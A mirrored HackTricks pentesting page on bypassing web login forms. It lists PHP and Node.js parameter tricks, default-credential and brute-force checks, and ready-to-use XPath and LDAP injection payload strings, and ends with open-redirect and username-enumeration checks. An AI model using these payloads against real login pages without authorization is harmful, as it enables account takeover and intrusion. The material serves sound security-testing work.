1
2
Fork 0
mirror of https://github.com/carlospolop/hacktricks.git synced 2023-12-14 19:12:55 +01:00
hacktricks/pentesting-web/login-bypass
2022-02-28 09:13:08 +00:00
..
README.md GitBook: [#3038] No subject 2022-02-28 09:13:08 +00:00
sql-login-bypass.md GitBook: [#2876] save 2021-11-30 16:46:07 +00:00

Login Bypass

Bypass regular login

If you find a login page, here you can find some techniques to try to bypass it:

  • Check for comments inside the page (scroll down and to the right?)
  • Check if you can directly access the restricted pages
  • Check to not send the parameters (do not send any or only 1)
  • Check the PHP comparisons error: user[]=a&pwd=b , user=a&pwd[]=b , user[]=a&pwd[]=b
  • Check nodejs potential parsing error (read this): password[password]=1
    • Nodejs will transform that payload to a query similar to the following one: SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` password=password=1; which makes the password bit to be always true.
    • Adding "stringifyObjects":true option when calling mysql.createConnection will eventually block all unexpected behaviours when Object is passed in the parameter.
  • Check credentials:
    • Default credentials of the technology/platform used
    • Common combinations (root, admin, password, name of the tech, default user with one of these passwords).
    • Create a dictionary using Cewl, add the default username and password (if there is) and try to brute-force it using all the words as usernames and password
    • Brute-force using a bigger dictionary (Brute force)

SQL Injection authentication bypass

Here you can find several tricks to bypass the login via SQL injections.

In the following page you can find a custom list to try to bypass login via SQL Injections:

{% content-ref url="sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

No SQL Injection authentication bypass

Here you can find several tricks to bypass the login via No SQL Injections.

As the NoSQL Injections requires to change the parameters value, you will need to test them manually.

XPath Injection authentication bypass

Here you can find several tricks to bypass the login via XPath Injection.

' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2

LDAP Injection authentication bypass

Here you can find several tricks to bypass the login via LDAP Injection.

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

Remember Me

If the page has "Remember Me" functionality check how is it implemented and see if you can abuse it to takeover other accounts.

Redirects

Pages usually redirects users after login, check if you can alter that redirect to cause an Open Redirect. Maybe you can steal some information (codes, cookies...) if you redirect the user to your web.

Other Checks

  • Check if you can enumerate usernames abusing the login functionality.
  • Check if auto-complete is active in the password/sensitive information forms input: <input autocomplete="false"